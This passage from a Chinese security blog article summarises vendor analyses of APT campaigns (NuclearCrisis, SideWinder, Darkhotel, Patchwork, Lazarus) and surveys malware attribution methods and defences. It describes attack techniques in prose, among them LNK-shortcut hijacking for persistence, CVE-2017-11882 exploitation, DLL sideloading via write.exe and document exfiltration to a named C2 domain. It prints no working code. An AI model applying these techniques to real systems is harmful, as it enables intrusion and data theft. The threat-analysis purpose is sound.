该脚本还支持CMD命令功能,除了Windows外,还支持Linux下的命令执行:
(4) 持久化分析
ps_start脚本会使用Rundll32.exe加载执行样本中解压出来的beoql.g后门文件,该DLL为一个实现恶意代码持久化加载的模块,用于加载ps_loader,并通过修改LNK文件来实现持久化,其导出的函数如下所示:
通过分析,DLL具体函数功能如下:
另外,ps_start中会直接调用该DLL的导出函数DllRegister,参数为对应的ps_loader脚本,函数首先会将ps_loader加密保存为beoql.g.ini,之后调用DllEntry和fun_Callinstall。
具体流程如下:
- beoql.g.ini加密保存为PowerShell
- DllEntry被调用首先会通过CMD命令删除相关的金山安全组件,之后通过CreateProcess函数启动ps_loader脚本
- fun_Callinstall中解密出对应的加密字符,字符串为通过Rundll32.exe调用导出函数DllInstall
- DllInstall函数首先遍历多个目录下的LNK文件,之后生成nview32_update.bat脚本并运行
- nview32_update.bat脚本执行后会检测并删除WPS的相关组件,之后对前面遍历获取的LNK文件进行修改操作。首先通过调用导出函数DllCopyClassObject将该LNK文件拷贝到临时目录,再通过函数DllSetClassObject修改%temp%目录下的LNK文件,最后将修改过的LNK文件拷贝覆盖回去
- DllSetClassObject中通过函数fun_Changelnk修改默认的LNK文件
具体效果如下所示,LNK快捷方式文件被修改为通过Rundll32.exe调用该DLL的DllEntry函数,该函数的主要功能如前文所示用于运行对应的ps_loader脚本,通过劫持LNK快捷方式文件来起到持久化的作用。
总结:蓝宝菇组织的相关恶意代码中出现特有的字符串(Poison Ivy密码是:NuclearCrisis),结合该组织的攻击目标特点,360威胁情报中心将该组织的一系列攻击行动命名为核危机行动(Operation NuclearCrisis)。联想到核武器爆炸时的蘑菇云,360威胁情报中心结合该组织的其他特点,以及对APT组织的命名规则,将该组织名为蓝宝菇。威胁情报在攻防对抗中发挥着越来越重要的作用,威胁情报不是简单的从blog、twitter等公开渠道获得开源情报。从本次事件中可以看出,只有具备扎实的安全能力、建立强大的数据基础并对威胁情报涉及的采集、处理、分析、发布、反馈等一系列的环节进行较长时期的投入建设,才能获得基于威胁情报的检测、分析、响应、预警等关键的安全能力。
4.SideWinder(T-APT-04)
T-APT-04是国际知名的SideWinder“响尾蛇”组织,该南亚组织以窃取单位、能源、军事、矿产等领域的重要信息为主,此前已对巴基斯坦和东南亚各国发起过多次攻击,但近两起的APT攻击却频繁指向了中国,一起是伪装成国家部门向各国驻华使馆发送虚假邀请函;另一起是针对某科技有限公司驻外代表处的攻击事件,攻击者向该公司驻外代表处发送了虚假的安全和保M手册。据瑞星安全研究院分析,通过对攻击者使用的技术手法来看,断定与APT组织“响尾蛇”有着莫大的关系。
-
响尾蛇组织常用攻击方法
- 利用Office远程代码执行漏洞(cve-2017-11882)
- 通过钓鱼邮件发起APT攻击
- 远程控制目标电脑并获取内部资料
- 使用钓鱼网站进行社会工程学攻击
- 诱饵文档进行载荷投递
-
攻击手段
- 伪装文档并嵌入木马发送(如伪装成国家单位的邀请函)
- 文件存放至指定目录并解密
- ShellCode将公式编辑器的命令行参数改成JavaScript脚本并执行
下面简单讲解瑞星团队发布至Freebuf的分析案例。
- 文章来源
团队:瑞星团队发布至Freebuf
作者:瑞星
原文地址:境外APT 组织“响尾蛇”对我国发起攻击事件报告
瑞星公司是中国互联网著名的安全公司,其瑞星杀毒软件也是国内外很有安全保障的杀毒软件之一,他们发布的文章或报告都非常有价值,大家也都应该不陌生。近日,瑞星安全研究院捕获到两起针对中国的APT攻击事件,一起是针对各国驻华大使馆,另一起是针对某科技有限公司驻外代表处。攻击者利用Office远程代码执行漏洞(cve-2017-11882)通过钓鱼邮件等方式发起APT攻击,一旦有用户打开钓鱼文档,电脑就会被攻击者远程控制,从而被盗取如电脑系统信息、安装程序、磁盘信息等重要数据资料,其目的以盗取我国重要数据、隐私信息及科研技术为主。攻击流程如下图所示:
(1) 钓鱼邮件分析
诱饵文档包括伪装成国家部门发往各国驻华使馆的邀请函、某科技有限公司驻外代表处的安全工作手册修订文档。两个诱饵文档均在末尾嵌入一个名为“包装程序外壳对象”的对象,对象属性指向%temp%目录中的1.a文件。所以,打开文档会在%temp%目录下释放由JaveScript脚本编写的1.a文件。
接着诱饵文档又利用漏洞CVE-2017-11882触发shellcode执行1.a。
Shellcode流程如下:
通过异或0×12解密出一个JavaScript脚本,该脚本的主要功能是执行%temp%目录下的1.a文件。JavaScript脚本密文如下图所示:
解密后的JavaScript脚本如下图所示:
ShellCode会将公式编辑器的命令行参数改成JavaScript脚本,利用RunHTMLApplication函数执行将该脚本执行起来。执行JavaScript如下图所示:
(2) 病毒分析
- 1.a文件分析
该文件是通过开源的DotNetToJScript工具生成,主要功能是通过JavaScript脚本内存执行.net的DLL文件。该脚本首先解密出StInstaller.dll文件,并反射加载该DLL中的work函数。Work函数对传进来的参数x(参数1)和y(参数2)进行解密,解密后x为PROPSYS.dll,y为V1nK38w.tmp。1.a脚本内容如下图所示:
- StInstaller.dll文件分析
StInstaller.dll是一个.NET程序,会创建工作目录C:\ProgramData\AuthyFiles,然后在工作目录中释放3个文件,分别是PROPSYS.dll、V1nK38w.tmp和write.exe.config,并将系统目录下的写字板程序(write.exe) 拷贝到该目录中。运行write.exe(白文件)加载同级目录下的PROPSYS.dll(黑文件), 通过白加黑的手段运行恶意代码。work函数如下图所示:
详细过程:
- 在work函数中调用xorIt解密函数得到3个重要配置数据,分别是工作目录名AuthyFiles,域名https://trans-can.net和设置的注册表键名authy。
- 创建工作目录C:\ProgramData\AuthyFiles,拷贝系统文件write.exe到工作目录,并将其设置为开机自启动。创建AuthyFiles和write.exe如下图所示:
- 在工作目录中释放一个随机命名的文件V1nK38w.tmp。
- 在工作目录中释放PROPSYS.dll,并更新该文件中接下来要加载程序的文件名为V1nK38w.tmp。创建PROPSYS.dll如下图所示:
- 将拼接后完整的url链接写入V1nK38w.tmp文件中,再将该文件使用EncodeData函数进行加密。创建V1nK38w.tmp文件代码如下图所示:
- 创建配置文件write.exe.config,防止不同.NET版本出现兼容性问题。write.exe.config内容如下:
- 执行C:\ProgramData\AuthyFiles\write.exe,调用恶意的PROPSYS.dll。
(3) PROPSYS.dll文件分析
使用DecodeData函数对V1nK38w.tmp进行解密,解密完后加载执行V1nK38w.tmp。
DecodeData解密函数如下图所示:
(4) V1nK38w.tmp文件分析
V1Nk38w.tmp主要是窃取大量信息和接收指令执行。其主要行为如下:
- 加载初始配置,配置由资源中的Default解密得到。配置内容是网址,上传文件的暂存目录和窃取指定的文件后缀名(doc,docx, xls, xlsx, pdf, ppt, pptx)。解密后的Default资源信息如下:
- 将配置使用EncodeData函数加密,存于注册表HKCU\Sotfware\Authy中。在注册表中加密的配置信息在注册表中加密的配置信息如下:
- 访问指定地址下载文件执行,优先选择配置信息中的网址,如果没有则选择默认网址。
- 将窃取的信息整合成文件,文件命名为:随机字符串+特定后缀,数据内容以明文形式存于暂存目录中。窃取信息文件如下图所示:
- 后缀为.sif的文件主要是存储的是系统信息、安装程序信息、磁盘信息等。
- 更新注册表中存储的配置数据:首先遍历系统找寻和特定后缀相同的文件,然后从注册表HKCU\Sotfware\Authy读取和解密配置数据,将找到的文件的名字和路径补充到配置数据中,最后将配置信息加密继续存放注册表。记录要上传的文档路径如下所示:
- 上传指定后缀文档。
- 更新注册表中存储的配置数据:将上传文件的信息更新到注册表配置数据中。
- 将注册表配置信息中记载的特定后缀文件的数据内容全部压缩上传。上传暂存目录中后缀为sif、flc、err和fls的文件。
总结:此次两起攻击事件时隔不长,攻击目标均指向我国的相关机构,攻击目的以获取机构重要信息为主,以便制定有针对性的下一步攻击方案。最近揭露的响尾蛇攻击对象大都指向巴基斯坦和东南亚各国,但这两起攻击事件目标直指中国,表明该组织攻击目标发生了变化,加大了对中国的攻击力度。国内相关机构和企业单位务必要引起高度重视,加强预防措施。
三.APT攻击溯源及案例
1.溯源常见方法
溯源意图除了溯源出编写恶意代码作者、恶意代码家族之外,还要挖掘出攻击者及攻击者背后的真正意图,从而遏制攻击者的进一步行动。360威胁情报中心将基于每个APT攻击事件的背景信息、攻击组织、相关TTPs(Tactics, Techniques and Procedures,战术、技术与步骤)进行描述及重大攻击事件溯源。在溯源过程中,越往上溯源越难,尤其是如何定位APT组织的人员。
恶意样本的追踪溯源需要以当前的恶意样本为中心,通过对静态特征和动态行为的分析,解决如下问题:
- 谁发动的攻击?
- 攻击背景是什么?
- 攻击的意图是什么?
- 谁编写的样本?
- 样本使用了哪些攻击技术?
- 攻击过程中使用了那些攻击工具?
- 整个攻击过程路径是怎样的?
恶意样本追踪溯源可以采取如下方法:
- 全流量分析
- 同源分析
- 入侵日志
- 域名/IP
- 攻击模型
在特征提取上,产业界更倾向于从代码结构、攻击链中提取相似性特征;在同源判定上,除了采用与已有的历史样本进行相似度聚类分析之外,产业界还会采用一些关联性分析方法。相比学术界溯源特征,产业界溯源特征更加详细全面,信息复杂度大。因此,学术界的同源判定方法并不能完全用于产业界各类特征的相似性分析中,常见产业界溯源方法分类如下表所示。
同时,简单补充下美国应急响应中心的溯源方法。
- 对被入侵的主机进行还原取证
- 对木马样本进行代码的逆向分析与解密
- 对流经国家的数据在传输层进行特征码布控,并存储至少半年的流经数据流量,以便还原攻击
- 对VPS代理服务提供商与正常网络服务提供商,两者有能力区分,并能落地VPS代理服务提供商的用户背后真实IP地址
- 分辨出攻击事件背后的组织,并判定组织的来源、分工、资源状况、人员构成、行动目标等要素
最后推荐att&ack网站,非常棒的一个APT组织分析网站。
PS:参考前文 [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
2.基于机器学习和深度学习的APT溯源
学术界旨在采用静态或动态的方式获取恶意代码的特征信息,通过对恶意代码的特征学习,建立不同类别恶意代码的特征模型,通过计算待检测恶意代码针对不同特征类别的相似性度量,指导恶意代码的同源性判定。常见的恶意代码溯源主要包括4个阶段:特征提取、特征预处理、相似性计算、同源判定,各阶段间的流程关系如下图所示。
上图是将溯源对象Windows平台的PE恶意文件或Android平台的APK恶意文件输入溯源系统,经过特征提取、特征预处理、相似性计算、同源分析获取溯源结果,最终判定攻击家族或作者。
(1) 特征提取
特征提取是溯源分析过程的基础,具有同源性的恶意代码是通过它们的共有特征与其他代码区分开来的。所提取的特征既要反映出恶意代码的本质和具有同源性恶意代码之间的相似性,又要满足提取的有效性。
依据溯源目的,溯源特征提取包括溯源家族的特征提取和溯源作者的特征提取。Faruki等在字节码级别提取统计性强的序列特征,包括指令、操作码、字节码、API代码序列等。Perdisci R等通过n-gram提取字节码序列作为特征。Ki Y等提出了捕获运行过程中的API序列作为特征,利用生物基因序列检测工具ClustalX对API序列进行相似性分析,得到恶意代码的同源性判定。DNADroid使用PDG作为特征,DroidSim是一种基于组件的CFG来表示相似性代码特征,与早期的方法相比,该系统检测代码重用更准确。
(2) 特征预处理
特征提取过程中会遇到不具有代表性、不能量化的原始特征,特征预处理针对这一问题进行解决,以提取出适用于相似性计算的代表性特征。特征预处理一方面对初始特征进行预处理,另一方面为相似性计算提供基础数据。常见的特征类型包括序列特征和代码结构特征。
- 序列特征预处理: 包括信息熵评估、正则表达式转换、N-grams序列、序列向量化、权重量化法等,序列特征预处理会将初始特征中冗余特征消除、特征语义表达式增强、特征量化等以便于进行相似性计算。L. Wu通过分析恶意软件敏感API操作以及事件等,将API序列特征转换为正则表达式,并在发生类似的正则表达式模式时检测恶意代码。IBM研究小组先将N-gram方法应用于恶意软件分析中,使用N-gram的统计属性预测给定序列中下个子序列,从而进行相似度计算。Kolosnjaji等提出对API调用序列进行N-gram处理获取子序列,采用N-gram方法将API调用序列转换为N-gram序列,实现过程下图所示。
- 代码结构特征预处理: 在相似度比较时存在边、节点等匹配问题即子图同构算法复杂性,同时代码结构特征中存在冗余结构,因此除去冗余、保留与恶意操作相关的代码结构是预处理的主要目的。常见的方法包括API调用图预处理、CFG图预处理、PDG图预处理等。
(3) 相似性计算
溯源旨在通过分析样本的同源性定位到家族或作者,样本的同源性可以通过分析代码相似性来获取。相似性计算旨在衡量恶意代码间相似度,具体为采用一种相似性模型对恶意代码的特征进行运算。根据预处理特征类型的不同以及溯源需求、效率、准确性等差异,采用不同的相似性运算方法。
目前比较流行的相似性计算方法主要集中在对集合、序列、向量、图等特征表现形式的处理。Qiao等基于集合计算相似性,在不同恶意样本API集合的相似性比较中采用了Jaccard系数方法,将为A、B两个集合的交集在并集中所占的比例作为相似度,比例值越大,证明越相似,如公式所示。
Faruki等提出了采用SDhash相似性散列技术构建样本的签名序列,并采用汉明距离法对序列进行相似性计算,从而识别同源性样本。Suarez-Tangil 等用数据挖掘算法中向量空间模型展示家族的恶意代码特征形式,将同家族提取出来的具有代表性的CFG元素作为特征中维度,采用余弦算法对不同家族的向量空间模型进行相似度计算,根据余弦值来判断它们的相似性,从而识别出相似性样本,进而归属到对应的家族。用于比较向量的余弦相似度反映了恶意代码间的相似性,其具体公式如公式所示。
Cesare等提出了最小距离匹配度量法,比较不同样本的CFG图特征的相似性。Kinable等通过静态分析恶意代码的系统调用图,采用图匹配的方式计算图相似性得分,该得分近似于图的编辑距离。利用该得分比较样本的相似性,采用聚类算法将样本进行聚类,实现家族分类。
(4) 同源判定
学术界常见的同源判定方法主要包括基于聚类算法的同源判定、基于神经网络的同源判定等。Kim等采用DBSCAN算法对基于调用图聚类,发现类似的恶意软件。Feizollah等提出采用层聚类算法,构建家族间演化模型,进而发掘家族功能的演化。Niu等提出了层次聚类和密度聚类算法结合的快速聚类算法对操作码序列特征进行聚类,以识别恶意软件变体,该方法识别变体效率较高。
神经网络是一种多层网络的机器学习算法,可以处理多特征以及复杂特征的同源判定。基本思想为:将样本特征作为输入层数据,然后不断调整神经网络参数,直到输出的样本与该样本是一种同源关系未为止。它会将恶意代码特征送输入层,即可判断恶意代码的同源性.。赵炳麟等提出了基于神经网络的同源判定方法,其整体实现框架如下图所示。
3.时区溯源案例(白象)
在过去的四年中,安天的工程师们关注到了中国的机构和用户反复遭遇来自“西南方向”的网络入侵尝试。这些攻击虽进行了一些掩盖和伪装,我们依然可以将其推理回原点——来自南亚次大陆的某个国家。
参考文章:白象的舞步——来自南亚次大陆的网络攻击
安天在2014年4月相关文章中披露的针对中国两所大学被攻击的事件,涉及以下六个样本。其中五个样本投放至同一个目标,这些样本间呈现出模块组合作业的特点。
- 4号样本是初始投放样本,其具有下载其他样本功能
- 3号样本提取主机相关信息生成日志文件
- 5号样本负责上传
- 6号样本采集相关文档文件信息
- 2号样本则是一个键盘记录器
那么,如何溯源该组织所来自的区域呢?
安天通过对样本集的时间戳、时区分析进行分析,发现其来自南亚。样本时间戳是一个十六进制的数据,存储在PE文件头里,该值一般由编译器在开发者创建可执行文件时自动生成,时间单位细化到秒,通常可以认为该值为样本生成时间(GMT时间)。
时间戳的分析需要收集所有可用的可执行文件时间戳,并剔除过早的和明显人为修改的时间,再将其根据特定标准分组统计,如每周的天或小时,并以图形的形式体现,下图是通过小时分组统计结果:
从上图的统计结果来看,如果假设攻击者的工作时间是早上八九点至下午五六点的话,那么将工作时间匹配到一个来自UTC+4或UTC+5时区的攻击者的工作时间。根据我们匹配的攻击者所在时区(UTC+4 或UTC+5),再对照世界时区分布图,就可以来推断攻击者所在的区域或国家。
接着对该攻击组织进行更深入的分析。对这一攻击组织继续综合线索,基于互联网公开信息,进行了画像分析,认为这是一个由10~16人的组成的攻击小组。其中六人的用户ID是cr01nk 、neeru rana、andrew、Yash、Ita nagar、Naga。
在安天的跟踪分析中,发现该组织的部分C&C地址是一些正常的网站,经过分析我们认为,有可能该组织入侵了这些网站,将自己的C&C服务控制代码放到它们的服务器上,以此来隐藏自己的IP信息。同时这种方式还会使安全软件认为连接的是正常的网站,而不会触发安全警报。
基于现有资源可以分析出,“白象二代”组织一名开发人员的ID为“Kanishk”,通过维基百科查询到一个类似单词“Kanishka”,这是一个是梵文译音,中文翻译为“迦腻色迦”,迦腻色伽是贵霜帝国(Kushan Empire)的君主,贵霜帝国主要控制范围在印度河流域。至此推测该APT组织来自南亚某国。
通过这个案例,我们可以通过时区、公开信息、黑客ID、C&C域名进行溯源,并一步步递进。
4.关联分析案例(Darkhotel APT-C-06)
Darkhotel(APT-C-06)是一个长期针对企业高管、GF工业、电子工业等重要机构实施网络攻击活动的APT组织。2014年11月,卡巴斯基实验室的安全专家首次发现了Darkhotel APT组织,并声明该组织至少从2010年就已经开始活跃,目标基本锁定在韩国、中国、俄罗斯和日本。360威胁情报中心对该团伙的活动一直保持着持续跟踪,其还远的攻击流程如下图所示。
参考文字:DarkHotel APT团伙新近活动的样本分析
溯源方法:通过对样本中使用的特殊代码结构、域名/IP等的关联分析,以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展,推断攻击的幕后团伙为Darkhotel(APT-C-06)。
(1) 网络内容合法性算法关联
在分析的msfte.dll样本中我们注意到一段比较特殊的校验获取网络内容的合法性的算法,通过对使用了相同算法的样本关联分析,我们发现了另外两种形式的Dropper样本,分别是EXE和图片文件捆绑执行的样本,以及通过Lnk快捷方式执行的样本,他们都使用了相似的代码结构,可以确认这两种形式的Dropper样本和本次分析的样本出自同一团伙之手,比如特殊的校验获取的网络内容合法性算法部分完全一致。
下图为样本A(wuauctl.exe)和样本B(cala32.exe)的代码。
(2) 域名关联分析指向DarkHotel
进一步分析使用Lnk快捷方式执行恶意代码的样本,可以看到都使用了完全一致的命令行参数和代码。
习惯性的使用360威胁情报中心数据平台搜索样本中用于下载恶意脚本的两个域名,可以看到相关域名正是360威胁情报中心内部长期跟踪的Darkhotel APT团伙使用的域名,相关域名早已经被打上Darkhotel的标签。
(3) 溯源关联图
360威胁情报中心通过大数据关联,对 DarkHotel APT团伙近年来使用的多个Loader版本进行了整理分析,通过分析大致可以看到该Loader历经了三个开发周期。以简单的GetCC函数为例,可以看到代码整体逻辑是没有区别的:
只是增加了对应的混淆还原处理。
下图为溯源关联图。
5.特征相似溯源(摩诃草)
在某次APT攻击中,360安全团队发现其与摩诃草APT组织旗下的CNC小组有着很多的联系。那么是怎么发现的呢?某些安全人员或APT组织写的代码都有自己的特色,我们通过对比这些代码DNA的相似性或特征,能够判断其攻击的来源。
CNC小组取名来自360于2019年底发布的报告《南亚地区APT组织2019年度攻击活动总结》中提及的摩诃草使用新的远程控制木马,同时通过其pdb路径信息中包含了 cnc_client 的字样,故命名为cnc_client小组。在此次活动中,该组织的特征与之高度类似,故团队猜测该活动的作俑者来源于摩诃草旗下的CNC小组。
下面简单介绍相似的地方,左图来自于360的年度报告,右图来自于本次活动的截图。
(1) 反向shell功能相似性
(2) 文件上传功能相似性
(3) 文件下载功能相似性
并且在连域名中出现了cnc的字眼,故Gcow安全小组大胆猜测该小组对原先的cnc_client进行了进一步的修改,但是其主体逻辑框架保持不变。在侧面上反应了该组织也很积极的修改相关的恶意软件代码以躲避杀毒软件的检测。
6.0day漏洞溯源(Lazarus T-APT-15)
Lazarus(T-APT-15)组织是来自朝鲜的APT组织,该组织长期对韩国、美国进行渗透攻击,此外还对全球的金融机构进行攻击,堪称全球金融机构的最大威胁。该组织最早的攻击活动可以追溯到2007年。据国外安全公司的调查显示,Lazarus组织与2014 年索尼影业遭黑客攻击事件,2016 年孟加拉国银行数据泄露事件,2017年美国国防承包商、美国能源部门及英国、韩国等比特币交易所被攻击等事件有关。而2017年席卷全球的最臭名昭著的安全事件“Wannacry”勒索病毒也被怀疑是该组织所为。
近日腾讯御见威胁情报中心监测到多个利用最新Flash漏洞CVE-2018-4878发动的攻击。攻击对象为数字货币交易所等,攻击事件所使用的样本都是docx文件,docx文件内嵌了一个包含漏洞攻击swf文件的doc文档。经分析,发现该恶意文档卸载的载荷为FALLCHILL远程控制木马最新变种,FALLCHILL木马是朝鲜的黑客组织Lazarus开发并使用的木马。
参考文章:Lazarus APT组织最新活动揭露
经过分析溯源,发现该RAT代码与FALLCHILL木马具有较高的相似度,在部分代码细节、远控命令分发、总体逻辑流程上具有非常明显的相似性。在api加密、通讯协议伪装上有较大变种改进。FALLCHILL木马被认为是朝鲜背景的APT组织Lazarus Group 所用。该RAT文件的资源语言为朝鲜语,也从侧面印证与Lazarus组织的相关性。
从Adobe漏洞公告致谢来看,CVE-2018-4878这个漏洞的野外攻击样本最早是由韩国计算机应急响应小组(KR-CERT)发现的,而KR-CERT也表示,来自朝鲜的黑客组织已经成功利用这个0Day漏洞发起攻击,与Lazarus主要攻击目标一致。
部分特征代码及其相似如下:
此外,我们通过本次攻击样本与历史样本进行关联分析,发现此版本FALLCHILL最早出现于2017年初,通过样本的出现时间和C2的活跃时间可以发现该组织是持续活跃的。
7.蜜罐溯源
蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。
参考文章:揭秘Patchwork APT攻击 :一个与中国南海和东南亚问题相关的网络攻击组织
为了捕获攻击者发起的第二阶段攻击程序,观察其在内网中的渗透活动,我们创建了一个真实网络环境,这个环境让攻击者觉得他们已经成功获取了主机权限。零星的诱饵数据可以让攻击者向另一主机转移,这些数据可以是存储凭据,共享文件夹、浏览器cookies,VPN配置等其它信息。最终我们利用了Cymmetria’s MazeRunner 系统成功捕获了攻击者的活动。
从攻击者C&C控制服务器中获得的信息,我们通过另一个合作伙伴,成功地接手并控制了攻击者的一个C&C服务器,服务器中包含了大量文件,而且这些钓鱼文件内容都与中国主题或性质相关。
- 种类多样的PPS文件–用作钓鱼攻击的恶意文件
- 大量的恶意代码包
四.安全防御建议
安全防御建议如下:
-
不打开可疑邮件,不下载可疑附件
此类攻击最开始的入口通常都是钓鱼邮件,钓鱼邮件非常具有迷惑性,因此需要用户提高警惕,企业更是要加强员工网络安全意识的培训。 -
部署网络安全态势感知、预警系统等网关安全产品
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。 -
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文档,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。 -
及时修补系统补丁和重要软件的补丁
-
小心处理Office文档,除非确认文档来源可靠,充分了解打开文档的后果,否则务必不要开启Office启用宏代码
-
使用云沙箱和本地安全软件对可疑文件进行检测
-
提升安全意识,尤其内部人员的安全意识
同时,补充异常网络行为常见的判断方法:
- 端口与协议不匹配,如使用443端口传输明文协议
- 边界VPN拨入的IP地址不在企业用户VPN常用IP地址之列
- 利用VPS服务提供商的代理IP地址访问企业用的边界VPN拨入内网
- Windows事件日志中的特殊ID编号,如ID 5140通常是PSEXEC(内网hash传递工具)日志
- 对于特殊协议要记录访问主机IP、目的主机IP,如SMB协议(永恒之蓝)要倍加防范
五.总结
写到这里,这篇文章就介绍完毕,希望您喜欢这篇文章。最近分享了两场讲座,一个是安全,一个是大数据,希望能将自己这些年在大数据、知识图谱、系统安全及人工智能应用到家乡这片土地,哈哈!
这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全厂商和大佬们的文章分享,深知自己很菜,得努力前行。
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
(By:Eastmount 2021-09-10 晚上12点写于武汉 http://blog.csdn.net/eastmount )